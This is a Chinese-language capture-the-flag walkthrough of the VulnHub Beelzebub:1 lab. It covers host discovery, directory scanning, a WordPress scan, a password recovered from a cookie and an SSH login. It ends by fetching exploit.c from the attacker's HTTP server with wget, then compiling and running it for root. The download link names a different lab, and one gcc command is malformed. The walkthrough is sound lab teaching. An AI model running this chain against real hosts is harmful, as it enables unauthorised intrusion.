VulnHub:Beelzebub:1

wahaha2025-03-21文章来源:SecHub网络安全社区


下载地址:https://www.vulnhub.com/entry/empire-breakout,751/

开机信息,知道用户名(krampus)

探测主机

netdiscover -r 192.168.***.0/24

发现:

进行端口扫描

进行目录扫描

dirsearch -u http://192.168.???.???/

逐个访问,index.php页面的状态码为200,却是404的页面

查看index首页源代码,得到线索

<!--My heart was encrypted, "beelzebub" somehow hacked and decoded it.-md5-->

将“beelzebub"经过MD5计算后,访问并扫描该目录

dirsearch -u http://192.168.???.???/d18e1e22becbd915b45e0e655429d487/

用wpscan并利用api接口扫描该站点,获得了用户名信息和可能利用的漏洞,同时访问枚举出的目录,uploads页可以访问,文本框处随意输入值提交,再次查看报文在cookie处有密码

wpscan --api-token=#这里写在wpscan注册获得的apitoken# --url=http://192.168.???.???/d18e1e22becbd915b45e0e655429d487/ -e --plugins-detection aggressive --ignore-main-redirect --force

登录之前的管理页面无果,总是会跳转到192.168.1.6,尝试登录ssh,krampus成功登录

ssh  192.168.???.??? -l krampus

cat .bash_history

下载该.c文件,打开httpsever服务,靶机利用wget获取该文件

python -m SimpleHTTPServer 
wget 192.168.???.???/exploit.c 

gcc exploit.c  exploit
./exploit

编译运行,成功提权